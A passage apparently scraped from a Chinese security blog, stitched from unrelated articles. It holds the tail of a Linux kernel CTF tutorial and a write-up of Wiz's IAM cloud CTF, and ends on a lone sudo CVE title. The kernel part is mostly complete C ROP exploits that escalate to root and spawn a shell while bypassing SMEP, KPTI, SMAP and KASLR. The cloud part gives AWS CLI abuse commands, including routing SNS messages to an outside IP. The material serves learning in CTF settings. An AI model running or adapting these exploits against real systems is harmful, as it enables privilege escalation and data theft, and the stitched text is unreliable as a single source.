0x100000!?的错误,并且CR4的值也没有被修改,这是因为在当前的内核版本中增加了校验,若后续通过native_write_cr4函数修改的值与启动的值不一致则会报错,并且将值修改为回来的值。 可以看到补丁的说明,在启动后CR4的值无法被修改。因此在改利用手法只能在对CR4进行校验的版本下使用。 构造逃逸ROP 由于SMEP只是杜绝了执行用户态的代码,因此利用ROP的思路,在内核态完成ROP链的构造,并且执行commit_creds(prepare_kernel_cred(0)) -> swags -> iretq的流程。 那么此时需要什么样的gadget则是构造逃逸ROP的重点,由于需要手动传参调用上述的攻击链,因此需要 pop rdi; ret; mov rdi , rax; ret,这里需要注意的是,我们需要prepare_kernel_cred(0)执行的返回值,因此需要将rax寄存器的值传递给rdi寄存器 swags; ret iretq 除了mov rdi, rax; ret以外,其余的gadget都可以很轻松的搜索出来,但是内核中不存在mod rdi, rax; ret这样的gadget,因此需要想办法找到其他的gadget,这里我找到如下的组合,通过构造rdi与rsi的值,使得rdi = rsi从而导致jne的跳转无法执行,那么就可以在执行mov rdi, rax的情况下可以跳过jne的跳转指令执行到ret指令。 0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff8150b97e: pop rsi; ret; 因此ROP逃逸的思路与在用户态的ROP区别不大,只要找到合适的gadget即可 exp #include <stdio.h> #include <fcntl.h> /* 0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret; 0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret; 0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret; 0xffffffff8150b97e: pop rsi; ret; */ //iretq RIP|CS|RFLAGS|SP|SS unsigned long user_cs,user_rflags,user_sp,user_ss; void save_state() { __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***"); } void backdoor() { puts("***getshell***"); system("/bin/sh"); }int main() { save_state(); int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 0x10 * 8); for(int i = 0; i < 0x10; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 0; payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 1; payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff814c6410; //commit_creds; payload[index++] = 0xffffffff8100a55f; //swapgs; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff814381cb; //iretq; pop rbp; ret; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); } 栈迁移 栈迁移能使用的场景是当我们需要构造的ROP链大于能溢出的字节数时采用的与用户态不同的是在内核中存在很多可以修改RSP指针的gadget可以使用。这里我找到的gadget是,通过pop rbp; ret与mov rsp, rbp结合,就能够篡改rsp为任何值。 0xffffffff818fa3ef: xor rax, rdx; pop rbp; ret; 0xffffffff810062dc: mov rsp, rbp; pop rbp; ret; 那么需要将rsp篡改为何值,此时就需要结合mmap函数,该函数能够在用户空间中开辟一段内存,该内存的属性可以自定义,因此思路则是将rsp的值指向mmap开辟的地址,通过栈迁移技术,将栈迁移到mmap的地址值,我们在将ROP链填充到mmap开辟的内存中即可,这里对mmap函数进行一个介绍。 mmap函数 void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset); addr:开辟的地址值,若为0则操作系统自行选择,否则为填充的值,该地址的值需要页对齐(0x1000),并且最小的值需要为0x10000(这里是我自己测试的) length:内存的大小 prot:权限 PROT_EXEC,执行权限 PROT_READ,读权限 PROT_WRITE,写权限 PROT_NONE,没有任何权限 flags:标志位,mmap函数可以设置的标志位有很多,这里着重介绍一些常用的 MAP_SHARED:共享映射,映射的内容可以被其他进程所看到,同时能够同步到底层的文件 MAP_PRIVATE:私有映射,映射的内容不能被其他进程所看到,也不会同步到底层的文件 MAP_ANONYMOUS:匿名映射,是一种不映射文件的映射 MAP_FIXED:固定映射,即映射地址必须是addr所指定的,若该地址被占用则mmap返回错误 fd:需要映射的文件描述符,若是匿名映射则设置为-1 offet:映射的偏移,即选择从哪个位置开始映射 映射代码如下,这里需要注意的是,由于我们只需要在用户空间中任意开辟一段可执行的内存,因此只需要进行匿名映射,并且地址值需要固定。因此MAP_ANONYMOUS与MAP_FIXED的标志位需要被指定,然后是MAP_SHARED与MAP_PRIVATE必须两个中指定一个,否则也会报错,因为这两个参数指明的是修改的内容是否会影响其他进程或者是底层的文件。 栈迁移完成 将ROP链部署在了映射内存中 最后是遇到的小疑惑,刚开始学习到栈迁移的时候会觉得奇怪,因为mmap开辟的内存是在用户态的,SMEP则是禁止执行用户态的代码,为什么使用栈迁移可以绕过SMEP,后面理解发现,我们只是访问了用户空间的地址即0x2000,但是这段用户态空间填写的地址都是内核态的地址,因此总结流程则是我们在用户态空间中填充了内核态的地址,在进行栈迁移绕过SMEP时,仅仅是访问了用户态空间的地址,最后执行时还是执行的内核态的地址,因此SMEP无法阻碍这种利用。而这也正是SMAP与SMEP的区别,SMAP则是无法读写用户态空间,因此若开启了SMAP,那么该利用手法则无法进行。 绕过KPTI KPTI(Kernel Page Table Isolation)是一种针对 Intel处理器的内核保护机制,用于减轻 Spectre 和 Meltdown 等 CPU可以被利用的安全漏洞所造成的影响。KPTI的主要目的是隔离内核地址空间和用户地址空间,防止恶意程序通过访问内核地址空间来窃取敏感数据。 简单来说就是KPTI的保护即将用户空间的页与内核内核空间的页完全分隔开,那么在使用上述代码进行利用的时候会报出段错误,因为在内核空间的页中没办法找到用户空间的代码。 那么有两种方式可以绕过KPTI 捕获Segmentation fault的异常,在异常处理中调用system(/bin/sh) 切换页表,将内核空间的页表切换到用户空间中去 run.sh qemu-system-x86_64 \    -m 128M \    -cpu kvm64,+smep\    -kernel vmlinuz \    -initrd initramfs.cpio.gz \    -hdb flag.txt \    -snapshot \    -nographic \    -monitor /dev/null \    -no-reboot \    -append "console=ttyS0 nosmap nokaslr kpti=1 quiet panic=1" \    -s 使用异常处理 使用异常处理非常简单,只需要注册一个异常处理的函数去捕获SIGSEGV信号,在捕获到该信号时执行异常处理函数,可自定义为system("/bin/sh") signal(SIGSEGV, backdoor); exp #include <stdio.h> #include <fcntl.h> #include <signal.h> /* 0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret; 0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff8166ff23: mov rdi, rax; jne 0x86fef3; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret; 0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret; 0xffffffff8150b97e: pop rsi; ret; */ //iretq RIP|CS|RFLAGS|SP|SS unsigned long user_cs,user_rflags,user_sp,user_ss; void save_state() { __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***"); } void backdoor() { puts("***getshell***"); system("/bin/sh"); }int main() { save_state(); signal(SIGSEGV, backdoor); int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 0x10 * 8); for(int i = 0; i < 0x10; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 0; payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 1; payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff814c6410; //commit_creds; payload[index++] = 0xffffffff8100a55f; //swapgs; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff814381cb; //iretq; pop rbp; ret; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); } 使用swapgs_restore_regs_and_return_to_usermode 第二种方式则是修改页表,CR3 寄存器是 x86架构中的一种控制寄存器,用于存储页目录表(Page DirectoryTable)的物理地址。因此若能够修改CR3的值为用户空间的页表,那么就可以完成页表的切换,从而正常执行利用代码了。 那么在内核中存在一个函数swapgs_restore_regs_and_return_to_usermode,swapgs_restore_regs_and_return_to_usermode 函数是在 x86架构中用于从内核态切换到用户态的汇编代码片段。这个函数的作用是在内核态执行完系统调用或中断处理程序后,恢复用户态进程的寄存器状态,并返回到用户态进程的执行点继续执行。 在内核中搜索该函数的地址 可以看到在该函数的内部存在修改CR3的操作,因此只需要调用该函数,就可以从内核空间的页表修改为用户空间的页表,但是该函数的起始位置会进行非常多的弹栈操作,如果直接使用很容易造成ROP链的空间不足,因此可以选择在swapgs_restore_regs_and_return_to_usermode + 0x16的位置开始执行。 在该函数后续的执行中,还会执行swapgs的指令,切换GS的寄存器,并且做一个绝对跳转到0xffffffff81200fco 在该地址的后续还存在这iretq的指令,因此该函数具备了所有的条件。 exp #include <stdio.h> #include <fcntl.h> /* 0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret; 0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff8166ff23: mov rdi, rax; jne 0x86fef3; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret; 0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret; 0xffffffff8150b97e: pop rsi; ret; 0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode */ //iretq RIP|CS|RFLAGS|SP|SS unsigned long user_cs,user_rflags,user_sp,user_ss; void save_state() { __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***"); } void backdoor() { puts("***getshell***"); system("/bin/sh"); }int main() { save_state(); int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 0x10 * 8); for(int i = 0; i < 0x10; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 0; payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 1; payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff814c6410; //commit_creds; payload[index++] = 0xffffffff81200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov   rdi,rsp; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); } 绕过SMAP SMAP则是防止在内核态时访问用户态的空间,此时使用swapgs_restore_regs_and_return_to_usermode函数也是完全可以绕过的,因此可以直接使用swapgs_restore_regs_and_return_to_usermode构建的ROP链。 但是如果遇到长度不够时,就能够将栈迁移到用户空间上了,因为在开启SMAP保护的时候就没有办法访问用户空间。那么此时只能借助内核的其他空间进行栈迁移,该手法利用比较复杂,因此留到以后再介绍。 绕过KASLR KASLR与用户态下的ASLR差不多,都是开启了地址的随机化,因此不能使用绝对地址。 run.sh qemu-system-x86_64 \    -m 128M \    -cpu kvm64,+smep,+smap \    -kernel vmlinuz \    -initrd initramfs.cpio.gz \    -hdb flag.txt \    -snapshot \    -nographic \    -monitor /dev/null \    -no-reboot \    -append "console=ttyS0 kaslr nofgkaslr kpti=1 quiet panic=1" \    -s 泄露内核地址 通过泄露内核的程序基地址,再加上函数的偏移即可绕过,与用户态下的利用没有区别。 exp #include <stdio.h> #include <fcntl.h> /* 0xffffffff814c6410 T commit_creds -- [-3701815] 0xffffffff814c67f0 T prepare_kernel_cred -- [-3700823] 0xffffffff823d6b02: cmp rdi, 0xffffff; ret; -- [12094139] 0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; -- [-1958308] 0xffffffff81006370: pop rdi; ret; -- [-8682711] 0xffffffff8100a55f: swapgs; pop rbp; ret; -- [-8665832] 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; -- [494318] 0xffffffff814381cb: iretq; pop rbp; ret; -- [-4284028] 0xffffffff8150b97e: pop rsi; ret; -- [-3417801] 0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode -- [-6607159] */ //iretq RIP|CS|RFLAGS|SP|SS unsigned long user_cs,user_rflags,user_sp,user_ss; void save_state() { __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***"); } void backdoor() { puts("***getshell***"); system("/bin/sh"); }int main() { save_state(); int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 0x10 * 8); for(int i = 0; i < 0x10; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; unsigned long leak_addr = buf[10]; printf("leak addr:0x%lx\n", leak_addr); //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = leak_addr - 8682711; //pop_rdi_ret payload[index++] = 0; payload[index++] = leak_addr - 3700823; //prepare_kernel_cred payload[index++] = leak_addr - 3417801; //pop_rsi_ret payload[index++] = 0; payload[index++] = leak_addr - 8682711; //pop_rdi_ret payload[index++] = 1; payload[index++] = leak_addr + 494318; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; payload[index++] = 0; payload[index++] = leak_addr - 1958308; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; payload[index++] = 0; payload[index++] = 0; payload[index++] = leak_addr - 3701815; //commit_creds; payload[index++] = leak_addr - 6607159 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov   rdi,rsp; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); }
IAM风险CTF挑战赛
wiz启动了一个名为“The Big IAM Challenge”云安全CTF挑战赛。旨在让白帽子识别和利用 IAM错误配置,并从现实场景中学习,从而更好的认识和了解IAM相关的风险。比赛包括6个场景,每个场景都专注于各种AWS服务中常见的IAM配置错误。 Challenge1: Buckets of Fun We all know that public buckets are risky. But can you find the flag? 查看提示获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",   //Effect(效果)设置为Allow(允许)           "Principal": "*",   //Principal(主体)是所有用户("*")           "Action": "s3:GetObject", //获取对象           "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*" //指定S3存储桶中的所有对象       },       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:ListBucket",   //列出存储桶           "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",             "Condition": {     //条件是通过前缀限制只能列出以"files/"为前缀的对象               "StringLike": {                   "s3:prefix": "files/*"               }           }       }   ] } 该策略允许任何用户列出"thebigiamchallenge-storage-9979f4b"存储桶中符合前缀条件"files/"的对象。该策略存在如下安全风险: 1、允许任何用户对指定的S3存储桶执行GetObject操作以获取对象的内容。 2、允许任何用户对指定的S3存储桶执行ListBucket操作列出存储桶中符合指定前缀条件的对象 解题思路: 针对s3存储桶权限校验不严格,列出桶资源对象并使用查看对象内容获取flag。 1、获取该存储桶中的对象 aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/ 得知files目录下存在flag1.txt文件,将其下载到本地,这里提示Read-only file system(只读文件系统)错误,权限问题,我们将其下载到/tmp目录下: aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt /tmp/flag.txt 另外也可以直接网络访问获取: http://s3.amazonaws.com/thebigiamchallenge-storage-9979f4b/files/flag1.txt 获得flag如下: {wiz:exposed-storage-risky-as-usual} Challenge2: We created our own analytics system specifically for this challenge. We think it's so good that we even used it on this page. What could go wrong? Join our queue and get the secret flag. 查看提示获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": "*",           "Action": [               "sqs:SendMessage",     //发送消息               "sqs:ReceiveMessage" //接收消息           ],           "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"       }   ] } 该IAM策略允许任何用户对特定的SQS队列执行SendMessage和ReceiveMessage操作,即发送和接收消息。该策略存在如下安全风险: 1、该策略将操作权限授予了所有用户("*"),意味着任何具有该策略的用户或角色都可以发送和接收消息。 2、该策略没有限制允许访问的用户、角色或其他条件。它允许所有用户执行SendMessage和ReceiveMessage操作。 解题思路: 针对授予特定SQS队列执行ReceiveMessage操作获取队列消息来查找flag。 1、接受消息队列中的信息 aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2 2、获取html文件内容 https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html 获得flag如下: {wiz:you-are-at-the-front-of-the-queue} Challenge3: Enable Push Notifications We got a message for you. Can you get it? 查看提示并获取本关的IAM策略如下: {   "Version": "2008-10-17",   "Id": "Statement1",   "Statement": [       {           "Sid": "Statement1",           "Effect": "Allow",           "Principal": {               "AWS": "*" //允许任何AWS用户           },           "Action": "SNS:Subscribe",       //订阅操作           "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",   //主题ARN           "Condition": {               "StringLike": {                   "sns:Endpoint": "*@tbic.wiz.io" //订阅条件               }           }       }   ] } 该策略允许任何AWS用户对指定的SNS主题(ARN为"arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications")进行订阅操作。订阅条件要求订阅者的Endpoint必须以"*@tbic.wiz.io"结尾。该策略存在如下风险: 全局访问权限:该策略中指定了允许任何AWS用户("*")执行SNS订阅操作。这意味着任何具有有效的AWS凭证的用户都可以订阅该SNS主题。如果此策略不是有意为特定用户或实体设计的,可能存在风险,因为未经授权的用户可以执行订阅操作。 通配符条件:该策略中的条件指定订阅者的Endpoint必须以"*@tbic.wiz.io"结尾。然而,通配符条件可能过于宽松,允许任何以该域名结尾的Endpoint进行订阅,包括未经授权的Endpoint。这可能导致未经授权的实体订阅主题并接收敏感信息或滥用SNS服务。 潜在的信息泄露:由于该策略允许任何人订阅主题,如果主题包含敏感信息或重要通知,可能会导致信息泄露的风险。攻击者可以订阅主题并接收敏感信息,甚至利用该信息进行其他恶意行为。 解题思路: 1、订阅SNS主题 在订阅时由于调阅条件的限制,先尝试将订阅消息发送到email邮箱账号,但是由于我们没有以@tbic.wiz.io为后缀的邮箱账号,因此需要对此处进行绕过。 AWS用户可以使用SNS:Subscribe操作订阅指定的SNS主题: aws sns subscribe --topic-arn <主题ARN> --protocol <协议> --notification-endpoint <订阅者Endpoint> <主题ARN>为实际的SNS主题ARN。所使用的协议有HTTP、HTTPS、Email、SMS等,订阅者的Endpoint具体根据策略中的条件要求。 对该题目设置SNS订阅: aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol email --notification-endpoint research@tbic.wiz.io 2、订阅条件限制绕过 尝试使用http协议进行代理监听的方式获取订阅消息: aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol http --notification-endpoint http://43.155.79.163:8443/@tbic.wiz.io 接收到来自sns的订阅确认,消息提示点击SubscribeURL确认订阅消息,等待一会即可接收到附带flag的订阅消息: 获取到flag如下: {wiz:always-suspect-asterisks} Challenge4: Admin only? We learned from our mistakes from the past. Now our bucket only allows access to one specific admin user. Or does it? 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:GetObject",           "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"       },       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:ListBucket",           "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",           "Condition": {               "StringLike": {                   "s3:prefix": "files/*"               },               "ForAllValues:StringLike": {                   "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"               }           }       }   ] } 该策略用于定义对 Amazon S3 存储桶的访问权限。其中包含了两个声明(Statement): 1、声明一允许任何用户存储桶执行GetObject操作,访问thebigiamchallenge-admin-storage-abf1321的s3储存桶资源。 2、声明二允许任何用户对S3存储桶执行ListBucket操作,列出存储桶中的对象。该声明有一个约束条件限制请求中的后缀必须以"files/" 开头,并且访问资源的主体是arn:aws:iam::133713371337:user/admin。 解题思路: 看到声明二中限制的访问资源主体是arn:aws:iam::133713371337:user/admin,便想着如何获取到该用户的凭据,然而在目前的环境中翻遍了各种配置文件和脚本文件都未发现相关凭据泄露,且当下凭据不能用于该访问主体。随后转变思路利用GetObject操作无限制进行目录Fuzz,Fuzz出如下路径: /thebigiamchallenge-admin-storage-abf1321/files/   /thebigiamchallenge-admin-storage-abf1321/files/cache/ /thebigiamchallenge-admin-storage-abf1321/files/tmp/ https://s3.amazonaws.com/thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt 然后再深一次Fuzz,仍无flag相关结果,最终经瑞幸楼少提醒,发现了如下参数的妙用: --no-sign-request 该参数可以用来执行无需身份验证的请求。使用该参数可以跳过对请求进行签名和身份验证的步骤,从而可以在某些情况下执行不需要验证的操作。 aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt /tmp/flag4.txt 获得flag如下: {wiz:principal-arn-is-not-what-you-think} Challenge5: Do I know you? We configured AWS Cognito as our main identity provider. Let's hope we didn't make any mistakes. 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Sid": "VisualEditor0",           "Effect": "Allow",           "Action": [               "mobileanalytics:PutEvents",               "cognito-sync:*"           ],           "Resource": "*"       },       {           "Sid": "VisualEditor1",           "Effect": "Allow",           "Action": [               "s3:GetObject",               "s3:ListBucket"           ],           "Resource": [               "arn:aws:s3:::wiz-privatefiles",               "arn:aws:s3:::wiz-privatefiles/*"           ]       }   ] } https://wiz-privatefiles.s3.amazonaws.com/ https://s3.amazonaws.com/wiz-privatefiles/ https://wiz-privatefiles.s3.amazonaws.com/soap/ 如上策略有两个声明,VisualEditor0声明允许向MobileAnalytics服务发送事件数据以及对Cognito Sync服务执行任何操作,且对这两个服务中的所有资源都可以操作。VisualEditor1声明允许执行GetObject和ListBucket两个操作,来获取wiz-privatefiles存储桶中的对象并列出存储桶中的内容。 解题思路: 根据题目提示得知AWS Cognito服务为主要身份提供商,问题大概率出现在此处,通过搜索AWS Cognito配置错误看到一篇文章: https://www.wangan.com/p/7fy7f8abba5c0234       //通过错误配置的AWS Cognito接管AWS帐户 结合该思路我们首先需要获取到该AWS Cognito服务的identity_pool_id: 梳理下常见的获取identity_pool_id方法: 1、通过应用程序代码查找使用Cognito的部分,并寻找可能存在identity_pool_id的位置,通常在一些JS文件或者接口中可能存在。 2、通过监控分析网络流量分析捕获应用程序与Cognito之间的通信。在捕获的网络流量中,搜索包含 identity_pool_id 的请求或响应。 3、通过搜寻查找一些配置文件或环境变量及启动脚本等获取Cognito相关的配置信息。 4、通过分析应用程序日志,查找 identity_pool_id 的信息。有时日志文件会记录与身份池相关的操作或配置。 5、通过aws控制台或CLI命令行获取identity_pool_id,前提是需要有一定权限。 结合文章思路在前端页面获取到IdentityPoolId: AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"}); 获取到identity_pool_id通过脚本再获取AK密钥进行配置: 由于当前云终端权限限制的问题,改用本地进行配置及后续操作: aws configure aws configure set aws_access_key_id aws configure set aws_secret_access_key aws configure set aws_session_token "" 获取到Flag如下: {wiz:incognito-is-always-suspicious} Challenge6: One final push Anonymous access no more. Let's see what can you do now. Now try it with the authenticated role: arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": {               "Federated": "cognito-identity.amazonaws.com"           },           "Action": "sts:AssumeRoleWithWebIdentity",               "Condition": {               "StringEquals": {                   "cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"               }           }       }   ] } 该策略用于定义IAM角色的信任关系,当cognito-identity身份服务进行Web身份验证时,可以使用STS的AssumeRoleWithWebIdentity操作请求临时凭证进行验证身份。此操作将验证来自cognito-identity身份服务的用户身份,并根据策略规定的条件和权限,为该用户生成一组临时凭证。这些临时凭证具有一定的时效性,可用于对 AWS 资源进行访问。 解题思路: 题目中提示不再有匿名访问且需要使用身份aws:iam::092297851374:role/Cognito_s3accessAuth_Role进行操作,策略信息也指明了cognito-identity验证中的aud必须是identity_pool_id为us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b。思路如下: 1、获取身份标识符identity-id aws cognito-identity get-id --identity-pool-id "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b" 2、获取对应身份标识的令牌token aws cognito-identity get-open-id-token --identity-id 获取到的identity-id 3、使用获取到的身份验证令牌指定目标角色来获取临时访问凭证 aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name 自定义session名称 --web-identity-token 获取到的token令牌 4、根据获取到的AK密钥配置并获取flag aws s3 ls aws s3 ls s3://wiz-privatefiles-x1000 aws s3 cp s3://wiz-privatefiles-x1000/flag2.txt - 获取到flag如下: {wiz:open-sesame-or-shell-i-say-openid}
Sudo堆溢出漏洞(CVE-2021-3156)复现
